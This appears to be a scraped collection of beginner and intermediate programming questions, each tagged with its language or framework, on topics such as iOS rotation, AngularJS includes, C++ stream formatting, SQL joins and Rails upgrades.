autoresizing views on iphone  i am currently working on a project and i need to support both portrait and landscape orientation. i have read several books  and all of them tell me to do different things. the view i want to support landscape orientation is simple. it is a uinavigationbar and a uiwebview which is attached to the viewcontrollers view. i have made the view programatically.    is it correct that i use this method:<br>     - (void)willanimaterotationtointerfaceorientation:      (uiinterfaceorientation)tointerfaceorientation duration:(nstimeinterval)duration;    i have seen that prior to ios 3 there was two other methods that were invoked. however i do not target my app below ios 3.     this code is working but my question is if it is the correct way of doing it programmatically because i don t want to use the interfacebuilder on this view.     <em><strong>codesnippet</em></strong> (working)   <pre><code>- (void)willanimaterotationtointerfaceorientation:(uiinterfaceorientation)x duration:(nstimeinterval)duration {    if (uiinterfaceorientationislandscape(x)) {       topbar.frame = cgrectmake(0.0f  0.0f  480.0f  44.0f);    } } </code></pre>   and is it correct that i don t need to apply any animation  ios will handle this right,iphone
how to get data from session object with angular   i expected this code to return a string  but i m getting an object back. this is the code:    <pre><code>var user = data.get( session ).then(function (results) {   console.log(results.name);   return results.name; }); </code></pre>   the console.log inside will show  brian  as expected  but a console.log of the variable user in the code above will give this object <a href= http://puu.sh/jides/3444ec2041.png  rel= nofollow >http://puu.sh/jides/3444ec2041.png</a>    if i console.log(user.$$state) it only shows the nested object with the property  value  in it.    what can i do to return the value that i m expecting     <strong>edit:</strong> to fix this issue i put the outside code inside the code posted here. it was pointed out that what i was attempting to do  isn t possible.,angularjs
limit function/constructor arguments to members of a particular type  if i have a templated class that takes another class as a parameter and which is constructed from a particular type  is there anyway to limit its range of possible construction values to those that are only members of the parameter class     so  if i have   <pre><code>template &lt;typename t&gt; struct foo {     foo(int v)         : value(v) {}      int value; }; </code></pre>   and    <pre><code>struct bar {     static const int valid1 = 6;     static const int valid2 = 9;     static const int valid3 = 42; }; </code></pre>   can i limit the valid values that can be passed to the constructor of <code>foo&lt;bar&gt;</code> to <code>bar::valid1</code> ... <code>bar::valid3</code>     with this example  i could use an enum in <code>bar</code> that has a specific name  specified in <code>foo</code> s constructor which would take members of the enum rather than plain ints  but this has the problem that any value can be cast to the enum  so it is easily broken  and more importantly is not extendible to non-integral types.    a strong typedef would do the trick i think  and i believe there s one in boost but i m looking for solutions i can implement myself with the standard library if possible.    i thought about function pointers  so instead of <code>static const int</code> s in <code>bar</code> i would have functions that return the values and the constructor of <code>foo</code> wold accept a function pointer. however static functions behave just like globals with repect to function pointers so there is no <code>bar</code> qualification required when calling it in <code>foo</code> so any global function returning an int could be used. it could be made to work by not using static functions in <code>bar</code> and maintaining an instance of <code>t [=bar]</code> in <code>foo</code> and calling the function pointer against this instance  but this seems a bit messy  functions that naturally should be static are not  and i have an instance of a struct which really should be just a container for constants.    i wonder if there is a standard way of doing this  or what you would recommend.,c++
splitting a sql column into 2 based on its values  i have the following query:   <pre><code>declare           @pharmtransdatekey int   set @pharmtransdatekey = 20160630  select      ds.storename       case when dro.netcount &lt; 0 then  previous period adj          else  todays sales      end as category      sum(claimamount) as thirdpartydue from     final.factrxbusinesseffectiveday f          inner join final.dimrxoutcome dro              on  f.rxoutcomekey = dro.rxoutcomekey         inner join final.dimstore ds             on  ds.storekey = f.storekey and                 ds.sourcechainkey = 254  where       pharmtransdatekey =  @pharmtransdatekey and     dro.netcount &lt;&gt; 0 group by      ds.storename      case when dro.netcount &lt; 0 then  previous period adj          else  todays sales      end   order by 1 2 3 </code></pre>   which outputs this:    <a href= https://i.stack.imgur.com/niakn.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/niakn.jpg  alt= enter image description here ></a>    i would like to use the only two possible values in the <code>category</code> column and make them their own columns.  the table below is what i am shooting for.    <a href= https://i.stack.imgur.com/fzrtc.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/fzrtc.jpg  alt= enter image description here ></a>,sql
issues with setfill in a member function  i am trying to create a program over multiple files that reads out the time  but i am having trouble displaying the time in the desired format. more specifically  <code>setfill</code> appears to be causing me problems.     here is the beginning of a very long error messages i recieve when compiling:   <pre><code>error: no match for ‘operator&lt;&lt;’ in ‘std::operator&lt;&lt; [with _chart = char   _traits = std::char_traits&lt;char&gt;](((std::basic_ostream&lt;char   std::char_traits&lt;char&gt; &gt;&amp;)(&amp; std::cout))  std::setw(2)) &lt;&lt; std::setfill  [with _chart = const char*](((const char*) 0 ))’ </code></pre>   now  this message only appears when i have <code>setfill</code> in my member function. if i remove <code>setfill</code> there is no issues with output except the format is wrong.     the member function is:   <pre><code>void time::print() {     cout &lt;&lt; setw (2) &lt;&lt; setfill ( 0 ) &lt;&lt; hours &lt;&lt;  : ;     cout &lt;&lt; setw (2) &lt;&lt; setfill ( 0 ) &lt;&lt; minutes &lt;&lt;  : ;     cout &lt;&lt; setw (2) &lt;&lt; setfill ( 0 ) &lt;&lt; seconds &lt;&lt; endl; } </code></pre>   to be clear  i have included <code>iomanip</code> and <code>setw</code> has no problem working on its own.    thanks.,c++
jquery filter as well as returning expression that evaluated to true  i m using a jquery search method with multiple <code>||</code> expressions  any one of which can return <code>true</code> in order to display the result. my goal is to retrieve which of the expressions actually evaluated to <code>true</code>:   <pre><code>return this.itemary.filter(function(item){    var that = this;    return (      item.name.tolowercase().indexof(that.search.tolowercase())&gt;=0 ||      item.description.tolowercase().indexof(that.search.tolowercase())&gt;=0    )  }); </code></pre>   so if the <code>item.name</code> piece evaluated to <code>true</code>  i d like to not only filter results that return <code>true</code>  but to also know that it was <code>item.name</code> versus <code>item.description</code> that evaluated to <code>true</code>.     <strong>edit with example:</strong>    in my itemary i can have   <pre><code>{item1: {name:  foo   description:  bar }  item2: {name: baz   description: bar }} </code></pre>   so if i search  foo  - i d like to not only return the item1 object  but to also let me know that it was this expression <code>item.name.tolowercase().indexof(that.search.tolowercase())&gt;=0</code> that evaluated to <code>true</code>,javascript
unable to cast object of type  system.int32  to type  system.string  error  i keep on getting this error. this error gets when it goes into the while loop at the invoicenum variable. could you please advise what i am doing wrong    <pre><code>    string selectsqlquery =  select * from invoice ; //where invoice_no=  + 1 +   ;                //create a command in c# to perform the sql query                sqlcommand myselectcommand = new sqlcommand(selectsqlquery  mydbconnection);                //creating the process for performing the command                sqldatareader performcommand = myselectcommand.executereader();                //executing the command or running the command              //  performcommand.read();                 while (performcommand.read())                {                     invoicenum = convert.toint16(performcommand.getstring(0));                    pcbarcode = convert.toint16(performcommand.getstring(1));                    customerid = convert.toint16(performcommand.getstring(2));                    probdescr = performcommand.getstring(3);                    empid = convert.toint16(performcommand.getstring(4));                    currentdate = convert.todatetime(performcommand.getstring(5));                    solution = performcommand.getstring(6); ;                    partsid = convert.toint16(performcommand.getstring(7));                    labourprice = convert.toint16(performcommand.getstring(8));                    totalprice = convert.toint16(performcommand.getstring(9));                   // invoiceclass = new invoice(invoicenum  pcbarcode  customerid  probdescr  empid  currentdate  solution  partsid  labourprice  totalprice);                 }                //closing the execution of the command                performcommand.close();                //closing the connection                mydbconnection.close();            } </code></pre>,c#
sending an object through ajax to rails controller  i have a nested form   <pre><code>form_for @post do |f|  f.fields_for @ingredients do |ingredient|   ingredient.text_field :name  end end link_to  add ingredient   #  </code></pre>   this is the basic structure. i want a new name field added when you click on  add ingredients . as i have to pass ingredient(form builder) for making a new field  i am unable to use ajax. there is no way for me to make a new ingredients object using java script in rails.     i see  people working with link_to_function. but i see that is deprecated.    can anyone suggest a solution for this,ruby-on-rails
designing a quick-lookup address database  if i were to design a database in mysql to the following specifications:    1) over 25mil records    2) columns of house number  street  town  city  postcode    3) street  town  city and postcode need to be fulltext-searchable (on the front-end side  the search will be running on ajax off a text-input field with immediate drop-down results)    how would i design the above     i was thinking with working with a single table - is this a bad idea  am not sure whether to normalize across different tables  given this is address data. i am also thinking that if working with a single table  i would do a fulltext index across the searchable fields.    i have not worked with such a large db before. is the above a bad idea    <hr>   update #1:    decided to normalize the street and postcode columns  which are the only ones actually being searched on (re-checked the original specification). did some quick math and cardinality of street name is 2% and postcodes 6% of total data set  so i think this is the best way forward.    currently running the import of 29 million rows - will take about 5 hours. will update again later on performance tests for the sake of wrapping up this question.,mysql
create a bootstrap header and reuse it on every page  i am new to angularjs. i am trying to create a header section that can be use on every page using angularjs. i have seen one example using ng-include. but when i tried i am getting an error. here is my index.html which try to include the header file:   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js &gt;&lt;/script&gt; &lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.3.14/angular.min.js &gt;&lt;/script&gt; &lt;meta name= viewport  content= width=device-width  initial-scale=1 &gt; &lt;meta http-equiv= content-type  content= text/html; charset=utf-8  /&gt; &lt;!-- bootstrap core css --&gt; &lt;link href= css/bootstrap.css  rel= stylesheet  type= text/css /&gt; &lt;!-- custom css --&gt; &lt;link href= css/style1.css  rel= stylesheet  type= text/css /&gt; &lt;!-- font css --&gt; &lt;!-- font-awesome icons --&gt; &lt;link rel= stylesheet  href= bower_components/font-awesome-animation/dist/font-awesome-animation.min.css &gt; &lt;link href= css/font-awesome.css  rel= stylesheet &gt;  &lt;!-- //font-awesome icons --&gt;  &lt;!-- js--&gt; &lt;script src= js/jquery-1.11.1.min.js &gt;&lt;/script&gt; &lt;link href= css/animate.css  rel= stylesheet  type= text/css  media= all &gt;  &lt;script src= js/underscore-min.js  type= text/javascript &gt;&lt;/script&gt; &lt;script src=  js/moment-2.2.1.js  type= text/javascript &gt;&lt;/script&gt; &lt;/head&gt;  &lt;body class= cbp-spmenu-push  ng-app&gt;     &lt;div class= main-content &gt;         &lt;!-- header-starts --&gt;         &lt;div ng-include=  header.html  &gt;&lt;/div&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   here is my header.html file which i want to include.   <pre><code>&lt;div class= sticky-header header-section  &gt;             &lt;div class= header-left &gt;                 &lt;!--toggle button start--&gt;                 &lt;button id= showleftpush &gt;&lt;i class= fa fa-bars &gt;&lt;/i&gt;&lt;/button&gt;                 &lt;!--toggle button end--&gt;                 &lt;!--logo --&gt;                 &lt;div class= logo  style= width: 229px &gt;                     &lt;a href= index.html &gt;                         &lt;span&gt;dashboard&lt;/span&gt;                     &lt;/a&gt;                 &lt;/div&gt;                 &lt;!--//logo--&gt;                  &lt;div class= search-box &gt;                     &lt;form class= input &gt;                         &lt;input class= sb-search-input input__field--madoka  placeholder= search...  type= search  id= input-31 /&gt;                         &lt;label class= input__label  for= input-31 &gt;                             &lt;svg class= graphic  width= 100%  height= 100%  viewbox= 0 0 404 77  preserveaspectratio= none &gt;                                 &lt;path d= m0 0l404 0l0 77l-404 0l0 -77z /&gt;                             &lt;/svg&gt;                         &lt;/label&gt;                     &lt;/form&gt;                 &lt;/div&gt;&lt;!--//end-search-box --&gt;                 &lt;div class= clearfix &gt; &lt;/div&gt;             &lt;/div&gt;             &lt;div class= header-right &gt;                 &lt;div class= profile_details_left &gt;&lt;!--notifications of menu start --&gt;                     &lt;ul class= nofitications-dropdown &gt;                         &lt;li class= dropdown head-dpdn &gt;                             &lt;a href= #  class= dropdown-toggle  data-toggle= dropdown  aria-expanded= false &gt;&lt;i class= fa fa-envelope faa-shake animated &gt;&lt;/i&gt;&lt;span class= badge &gt;3&lt;/span&gt;&lt;/a&gt;                             &lt;ul class= dropdown-menu &gt;                                 &lt;li&gt;                                     &lt;div class= notification_header &gt;                                         &lt;h3&gt;you have 3 new messages&lt;/h3&gt;                                     &lt;/div&gt;                                 &lt;/li&gt;                                 &lt;li&gt;&lt;a href= # &gt;                                    &lt;div class= user_img &gt;&lt;img src= images/1.png  alt=  &gt;&lt;/div&gt;                                    &lt;div class= notification_desc &gt;                                     &lt;p&gt;lorem ipsum dolor amet&lt;/p&gt;                                     &lt;p&gt;&lt;span&gt;1 hour ago&lt;/span&gt;&lt;/p&gt;                                     &lt;/div&gt;                                    &lt;div class= clearfix &gt;&lt;/div&gt;                                  &lt;/a&gt;&lt;/li&gt;                                 &lt;li class= odd &gt;&lt;a href= # &gt;                                     &lt;div class= user_img &gt;&lt;img src= images/2.png  alt=  &gt;&lt;/div&gt;                                    &lt;div class= notification_desc &gt;                                     &lt;p&gt;lorem ipsum dolor amet &lt;/p&gt;                                     &lt;p&gt;&lt;span&gt;1 hour ago&lt;/span&gt;&lt;/p&gt;                                     &lt;/div&gt;                                   &lt;div class= clearfix &gt;&lt;/div&gt;                                   &lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a href= # &gt;                                    &lt;div class= user_img &gt;&lt;img src= images/3.png  alt=  &gt;&lt;/div&gt;                                    &lt;div class= notification_desc &gt;                                     &lt;p&gt;lorem ipsum dolor amet &lt;/p&gt;                                     &lt;p&gt;&lt;span&gt;1 hour ago&lt;/span&gt;&lt;/p&gt;                                     &lt;/div&gt;                                    &lt;div class= clearfix &gt;&lt;/div&gt;                                  &lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;                                     &lt;div class= notification_bottom &gt;                                         &lt;a href= # &gt;see all messages&lt;/a&gt;                                     &lt;/div&gt;                                  &lt;/li&gt;                             &lt;/ul&gt;                         &lt;/li&gt;                         &lt;li class= dropdown head-dpdn &gt;                             &lt;a href= #  class= dropdown-toggle  data-toggle= dropdown  aria-expanded= false &gt;&lt;i class= fa fa-bell faa-ring animated &gt;&lt;/i&gt;&lt;span class= badge blue &gt;3&lt;/span&gt;&lt;/a&gt;                             &lt;ul class= dropdown-menu &gt;                                 &lt;li&gt;                                     &lt;div class= notification_header &gt;                                         &lt;h3&gt;you have 3 new notification&lt;/h3&gt;                                     &lt;/div&gt;                                 &lt;/li&gt;                                 &lt;li&gt;&lt;a href= # &gt;                                     &lt;div class= user_img &gt;&lt;img src= images/2.png  alt=  &gt;&lt;/div&gt;                                    &lt;div class= notification_desc &gt;                                     &lt;p&gt;lorem ipsum dolor amet&lt;/p&gt;                                     &lt;p&gt;&lt;span&gt;1 hour ago&lt;/span&gt;&lt;/p&gt;                                     &lt;/div&gt;                                   &lt;div class= clearfix &gt;&lt;/div&gt;                                    &lt;/a&gt;&lt;/li&gt;                                  &lt;li class= odd &gt;&lt;a href= # &gt;                                     &lt;div class= user_img &gt;&lt;img src= images/1.png  alt=  &gt;&lt;/div&gt;                                    &lt;div class= notification_desc &gt;                                     &lt;p&gt;lorem ipsum dolor amet &lt;/p&gt;                                     &lt;p&gt;&lt;span&gt;1 hour ago&lt;/span&gt;&lt;/p&gt;                                     &lt;/div&gt;                                    &lt;div class= clearfix &gt;&lt;/div&gt;                                   &lt;/a&gt;&lt;/li&gt;                                  &lt;li&gt;&lt;a href= # &gt;                                     &lt;div class= user_img &gt;&lt;img src= images/3.png  alt=  &gt;&lt;/div&gt;                                    &lt;div class= notification_desc &gt;                                     &lt;p&gt;lorem ipsum dolor amet &lt;/p&gt;                                     &lt;p&gt;&lt;span&gt;1 hour ago&lt;/span&gt;&lt;/p&gt;                                     &lt;/div&gt;                                    &lt;div class= clearfix &gt;&lt;/div&gt;                                   &lt;/a&gt;&lt;/li&gt;                                  &lt;li&gt;                                     &lt;div class= notification_bottom &gt;                                         &lt;a href= # &gt;see all notifications&lt;/a&gt;                                     &lt;/div&gt;                                  &lt;/li&gt;                             &lt;/ul&gt;                         &lt;/li&gt;                            &lt;li class= dropdown head-dpdn &gt;                             &lt;a href= #  class= dropdown-toggle  data-toggle= dropdown  aria-expanded= false &gt;&lt;i class= fa fa-tasks  &gt;&lt;/i&gt;&lt;span class= badge blue1 &gt;15&lt;/span&gt;&lt;/a&gt;                             &lt;ul class= dropdown-menu &gt;                                 &lt;li&gt;                                     &lt;div class= notification_header &gt;                                         &lt;h3&gt;you have 8 pending task&lt;/h3&gt;                                     &lt;/div&gt;                                 &lt;/li&gt;                                 &lt;li&gt;&lt;a href= # &gt;                                     &lt;div class= task-info &gt;                                         &lt;span class= task-desc &gt;database update&lt;/span&gt;&lt;span class= percentage &gt;40%&lt;/span&gt;                                         &lt;div class= clearfix &gt;&lt;/div&gt;                                         &lt;/div&gt;                                     &lt;div class= progress progress-striped active &gt;                                         &lt;div class= bar yellow  style= width:40%; &gt;&lt;/div&gt;                                     &lt;/div&gt;                                 &lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a href= # &gt;                                     &lt;div class= task-info &gt;                                         &lt;span class= task-desc &gt;dashboard done&lt;/span&gt;&lt;span class= percentage &gt;90%&lt;/span&gt;                                        &lt;div class= clearfix &gt;&lt;/div&gt;                                      &lt;/div&gt;                                     &lt;div class= progress progress-striped active &gt;                                          &lt;div class= bar green  style= width:90%; &gt;&lt;/div&gt;                                     &lt;/div&gt;                                 &lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a href= # &gt;                                     &lt;div class= task-info &gt;                                         &lt;span class= task-desc &gt;mobile app&lt;/span&gt;&lt;span class= percentage &gt;33%&lt;/span&gt;                                         &lt;div class= clearfix &gt;&lt;/div&gt;                                         &lt;/div&gt;                                    &lt;div class= progress progress-striped active &gt;                                          &lt;div class= bar red  style= width: 33%; &gt;&lt;/div&gt;                                     &lt;/div&gt;                                 &lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a href= # &gt;                                     &lt;div class= task-info &gt;                                         &lt;span class= task-desc &gt;issues fixed&lt;/span&gt;&lt;span class= percentage &gt;80%&lt;/span&gt;                                        &lt;div class= clearfix &gt;&lt;/div&gt;                                      &lt;/div&gt;                                     &lt;div class= progress progress-striped active &gt;                                          &lt;div class= bar  blue  style= width: 80%; &gt;&lt;/div&gt;                                     &lt;/div&gt;                                 &lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;                                     &lt;div class= notification_bottom &gt;                                         &lt;a href= # &gt;see all pending tasks&lt;/a&gt;                                     &lt;/div&gt;                                  &lt;/li&gt;                             &lt;/ul&gt;                         &lt;/li&gt;                        &lt;/ul&gt;                     &lt;div class= clearfix &gt; &lt;/div&gt;                 &lt;/div&gt;                 &lt;!--notification menu end --&gt;                 &lt;div class= profile_details &gt;                            &lt;ul&gt;                         &lt;li class= dropdown profile_details_drop &gt;                             &lt;a href= #  class= dropdown-toggle  data-toggle= dropdown  aria-expanded= false &gt;                                 &lt;div class= profile_img &gt;                                        &lt;span class= prfil-img &gt;&lt;img src= images/a.png  alt=  &gt; &lt;/span&gt;                                      &lt;div class= user-name &gt;                                         &lt;span&gt;administrator&lt;/span&gt;                                     &lt;/div&gt;                                     &lt;i class= fa fa-angle-down lnr &gt;&lt;/i&gt;                                     &lt;i class= fa fa-angle-up lnr &gt;&lt;/i&gt;                                     &lt;div class= clearfix &gt;&lt;/div&gt;                                     &lt;/div&gt;                               &lt;/a&gt;                             &lt;ul class= dropdown-menu drp-mnu &gt;                                 &lt;li&gt; &lt;a href= # &gt;&lt;i class= fa fa-sign-out &gt;&lt;/i&gt; logout&lt;/a&gt; &lt;/li&gt;                             &lt;/ul&gt;                         &lt;/li&gt;                     &lt;/ul&gt;                 &lt;/div&gt;                 &lt;div class= clearfix &gt; &lt;/div&gt;                            &lt;/div&gt;             &lt;div class= clearfix &gt; &lt;/div&gt;            &lt;/div&gt; </code></pre>   the error i am getting is:  xmlhttprequest cannot load file:///home/gaurav/documents/newadmin/adminpanel/header.html. cross origin requests are only supported for protocol schemes: http  data  chrome  chrome-extension  https  chrome-extension-resource.    can anybody tell me what i am doing wrong.,angularjs
mysql table join with like without adding another id column  i have two tables named <strong> regions </strong> and <strong> city_list </strong>:   <pre><code>regions table: r_id      r_code        r_name 1         region i      ilocos region 2         region ii     cagayan valley 3         region iii    central luzon 4         region iv-a   calabarzon 5         region iv-b   mimaropa  city_list table:  city_id   city_name        city_region 32        catbalogan       region viii (eastern visayas) 33        cauayan          region ii (cagayan valley) 34        cavite city      region iv-a (calabarzon) 35        cebu city        region vii (central visayas) 87        city of naga     region vii (central visayas) </code></pre>   i want to reference the regions table when a user selects a city name from the <strong>city_list</strong> table. for example:    user selects <strong> cauauyan </strong> from a drop-down list  the server returns the region code which is the <strong> r_code </strong> column from the regions table.     can i use a join statement with like without adding a column for a region id in the <strong>city_list</strong> table  is it possible to get the value in city_region like  region ii  without the  (cagayan valley)  and use that value to get r_id in the regions table,mysql
echo only x times  i have a while loop that will echo all the results from a database. it goes something like this:   <pre><code>while ($row2 = mysqli_fetch_array($result2)) {     echo  $row2[ fname ].  &lt;br&gt; ;    } </code></pre>   problem is  i only want it to echo it out max 5 times  and if there s more than 5 people in the result i want it to show the five first results and a  click here to view all members  button instead. i ve tried searching for it  but i m not getting any good results mostly due to poor search queries    thanks for the downvotes and all the great answers. sorry if i failed to conform to how one of these questions should look.,php
how to execute @selector method 1st in objective-c/  how to make the @selector method execute 1st and then authenticatemobileserver in the below startement in objective-c because authenticatemobileserver method is dependent on handler logic.   <pre><code> [mobile_obj authenticatemobileserver:self action:@selector(handler:)];  </code></pre>   please help.    thank you.,objective-c
using the same table twice in a from clause  i have a table that looks like this:   <pre><code>1 |  frank  |  a  2 |  frank  |  b  3 |  tom    |  a  4 |  tom    |  b  </code></pre>   and i want an output that looks like this:    <strong> frank | a | b<br></strong> <strong>tom   | a | b </strong>    i ve come up with this:   <pre><code>select n.name  n.surname  m.surname from names n  names m where n.surname =  b  and m.surname =  a  group by n.name; </code></pre>   this seems to work  but i don t know if it is a good practise to use the same table twice in the from clause  or if the performance will be affected by this on large tables.    is there a simpler solution,sql
can t update to rails 5 because of ruby version  i am planning to run ruby 2.3.1 version with rails 5 on mac osx.    <strong>1</strong> i installed rbenv then install ruby version 2.3.1.   <pre><code>rbenv version 2.3.1 (set by /d/testproject/.ruby-version) </code></pre>   <strong>2</strong> update gem   <pre><code>gem update --system latest version currently installed. aborting. </code></pre>   <strong>3</strong> system ruby version:    <pre><code>ruby -v ruby 2.0.0p648 (2015-12-16 revision 53162) [universal.x86_64-darwin15] </code></pre>   but when i run <code>gem update rails</code>  i got    <pre><code>error:  error installing rails:     activesupport requires ruby version &gt;= 2.2.2. </code></pre>   so my question is how to make the gem update rails according to rbenv ruby version  not system version  then i can update to rails 5.    or    do i have to update my system version of ruby to update to rails5.    <strong>edit</strong>     i have ran <code>rbenv local 2.3.1</code> (.ruby-version was created) already. but still can t update to rails5 thank you!    <strong>edit</strong>   <pre><code>which ruby /usr/bin/ruby </code></pre>,ruby-on-rails
how to show individual progressbar for parallel download   i am using a webclient and downloading 4 files simultaneously. the files are downloaded in parallel and i can see the file size changing in the folder. now i want to show progress bar for each individual files. here is what i tried so far  but the progress is not happening. can someone please help   <pre><code> private void button_click(object sender  routedeventargs e)     {             system.net.servicepointmanager.defaultconnectionlimit = 10;             list&lt;string&gt; files = new list&lt;string&gt;();             string localpath =   ;             files.add(file1);             files.add(file2);             files.add(file3);             files.add(file4);              foreach (string fi in files)             {                 localpath =  c:\\download\\  + fi.split( / )[5].tostring();                 webclient client = new webclient();                  client.downloadprogresschanged += (sender1  e1) =&gt; client_downloadprogresschanged(sender1  e1  z);                  client.downloadfileasync(new uri(fi)  localpath  count);                 count += 1;             }      }  void client_downloadprogresschanged(object sender  downloadprogresschangedeventargs e  int rownumber)         {             progressbar[] pb = new progressbar[4];              pb[rownumber-1] = new progressbar();             pb[rownumber-1].width = 400;             pb[rownumber-1].height =20;             pnl.children.add(pb[rownumber-1]);             pb[rownumber-1].value = e.progresspercentage;         } </code></pre>,.net
mysql query full join  i have three tables in my mysql db   <pre><code>dc_match_entries with player_id  goals  yellow cards  own goals etc for each match dc_player player_id  team_id etc etc dc_team team_is  some stuff etc etc </code></pre>   and i have this query too   <pre><code>select     dc_player. *      dc_team.name as team_name      dc_team.abbr_name as team_abbr_name      count( dc_match_entry.player_id ) as played      avg( dc_match_entry.vote ) as vote_average      sum( dc_match_entry.goal ) as goal_sum      sum( dc_match_entry.own_goal) as own_goal_sum      sum( dc_match_entry.vote ) *10         + sum( dc_match_entry.goal ) *10         + sum( dc_match_entry.r_card ) *-10         + sum( dc_match_entry.y_card ) *-5         + sum( dc_match_entry.own_goal ) *-10 as score      sum( dc_match_entry.y_card ) as y_card_sum      sum( dc_match_entry.r_card ) as r_card_sum from     dc_player      dc_match_entry      dc_team where      dc_player.id = dc_match_entry.player_id and     dc_player.team = dc_team.id group by     dc_player.id </code></pre>   sadly this query doesn t show players which havent played any match in the competition (since they have no dc_match_entry entries). i can t find a simple (and possibly clear) way to show those players too (full join )    ps: this query is nested into a bigger one :   <pre><code>select     l.id      l.role      l.first_name      l.last_name      l.birth_date      l.team_name      l.team_abbr_name      l.team as team_id      l.photo      l.email      l.played      l.vote_average      l.goal_sum as goal      l.own_goal_sum as own_goal      l.score +         ifnull(l.c_mvp  0)*15         + ifnull(unbeaten  0)*50*if(l.role= p   1  0) as score      l.y_card_sum as y_card      l.r_card_sum as r_card      ifnull(l.c_mvp  0) as mvp      ifnull(unbeaten  0) as unbeaten from (     select * from (         select             dc_player. *              dc_team.name as team_name              dc_team.abbr_name as team_abbr_name              count( dc_match_entry.player_id ) as played              avg( dc_match_entry.vote ) as vote_average              sum( dc_match_entry.goal ) as goal_sum              sum( dc_match_entry.own_goal) as own_goal_sum              sum( dc_match_entry.vote ) *10                 + sum( dc_match_entry.goal ) *10                 + sum( dc_match_entry.r_card ) *-10                 + sum( dc_match_entry.y_card ) *-5                 + sum( dc_match_entry.own_goal ) *-10 as score              sum( dc_match_entry.y_card ) as y_card_sum              sum( dc_match_entry.r_card ) as r_card_sum         from             dc_player              dc_match_entry              dc_team         where              dc_player.id = dc_match_entry.player_id and             dc_player.team = dc_team.id         group by             dc_player.id     ) lol     left join (         select             count(dc_match.mvp) c_mvp              mvp as player_id         from dc_match         where             dc_match.mvp is not null         group by dc_match.mvp     ) rofl     on rofl.player_id = lol.id     order by          lol.score desc ) l left outer join(     select         dc_player.id          count(dc_match.id) as unbeaten     from         dc_match          dc_match_entry          dc_player     where         (             (dc_player.team=dc_match.host and             dc_match.guest_score=0             ) or             (                 dc_player.team=dc_match.guest and                 dc_match.host_score=0             )         ) and         dc_player.id = dc_match_entry.player_id and dc_match.id = dc_match_entry.match_id     group by         dc_player.id ) i on     l.id = i.id where     l.team = 2 group by     id order by     role desc  score desc </code></pre>,mysql
selecting either keyboard or picker   i am trying to show either a picker or a keyboard depending upon the units selected.    for metric it s a keyboard so the user can enter say 300g whereas for imperial it s a picker so the user can select say 3 2/3 cups.    the picker shows but i cannot get the keyboard to not show.  resignfirstresponder does not work - as i assume it s not first responder.  could anyone help - i am new to objectivec and xcode.    thanks   <pre><code>- (bool)textfieldshouldbeginediting:(uitextfield *)textfield {  switch (_unit) {     case 1: // metric - show the keyboard         [self unithidepicker:nil];         break;      case 2: // oz &amp; fl/oz          [self unitshowpicker];         [textfield resignfirstresponder];         break;      case 3: // us cups         [self unitshowpicker];         [textfield resignfirstresponder];         break; }  return yes; } </code></pre>,objective-c
iphone app to perform http get and parse resulting xhtml  i am looking to develop a very simple iphone app that will allow the user to enter data into two fields and then submit this data in an http get. i then need to parse the resulting xhtml to get at the data i need.    what is the best way to go about this i.e. which of the iphone sdk frameworks should i be concentrating on  are there any how-tos or sample code i could be looking at,iphone
implement jquery addclass to a modal dialog button <pre><code>$(document).ready(function() { $(  #addlocation  ).dialog({         modal: true          height: 820          width: 550          buttons: {              add location : function() {                 document.forms[ mapform ].submitted.value= 1 ;                 document.forms[ mapform ].submit();             }              cancel: function() {                 $( this ).dialog(  close  );             }         }  }); }); </code></pre>   how can i implement the <code>addclass</code> function to the  add location  button on the modal dialog     thanks,jquery
sql update (cannot update more than 1 field) <pre><code>string sql = ` update user set address =    + address +    and  usertype     + usertype +   where useridnric =    + id +    ;`  </code></pre>   //this is not working(2 fields).odbc state that it has a missing operator.    <code>string sql =  update user set address =    + address +     where useridnric =    + id +    ;</code> //but this is working(1 field)    hope you guys could help for the 2 fields.been trying play with the quotes but not working,sql
segmentation error in objective c  i am trying to write a program for nsdate in ubuntu (as i don t have mac so i am using ubuntu to run my objective c programs). while compiling the program i am getting an error  segmentation fault (core dumped) . below is my code   <pre><code> #import &lt;foundation/foundation.h&gt;    #import &lt;objc/objc.h&gt;    #import &lt;objc/object.h&gt;     int main()    {     nsautoreleasepool * pool=[[nsautoreleasepool alloc] init];     nsdate *now = [nsdate date];    nslog(@ now %@   now);     nstimeinterval secondsinaweek = 7 * 24 * 60 * 60;    nslog(@ secondsinaweek %@   secondsinaweek);    nsdate *lastweek = [nsdate datewithtimeinterval: secondsinaweek    sincedate:now];    nslog(@ last week %@   lastweek);     nsdate *nextweek = [nsdate datewithtimeinterval: secondsinaweek    sincedate:now];    nslog(@ next week %@   nextweek);     [pool drain];    return 0;    } </code></pre>   please help me to find the error. i am able to get the output for nsdate *now  but after that i am getting the segmentation error.    ask me if you need any more info regarding the code.,objective-c
ios #define or static const for global strings  i have a constants.h file that declares a bunch of strings that i use throughout my app. i only have strings and nothing else. am i supposed to use #define or static nsstring const  #define works but i hear its not best practice.,ios
clang: error: linker command failed with exit code 1  i just opened a project i havent worked for in a couple months  and just tried to compile and run it.     i immediately got:    <pre><code>undefined symbols for architecture i386:   l_objc_protocol_$_videooverviewcontrollerdelegate   referenced from:     l_objc_class_protocols_$_featuredviewcontroller in featuredviewcontroller.o   ld: symbol(s) not found for architecture i386  clang: error: linker command failed with exit code 1  </code></pre>   and no amount of cleaning helped this error. i checked the two classes referenced in the error but couldn t find any error.,iphone
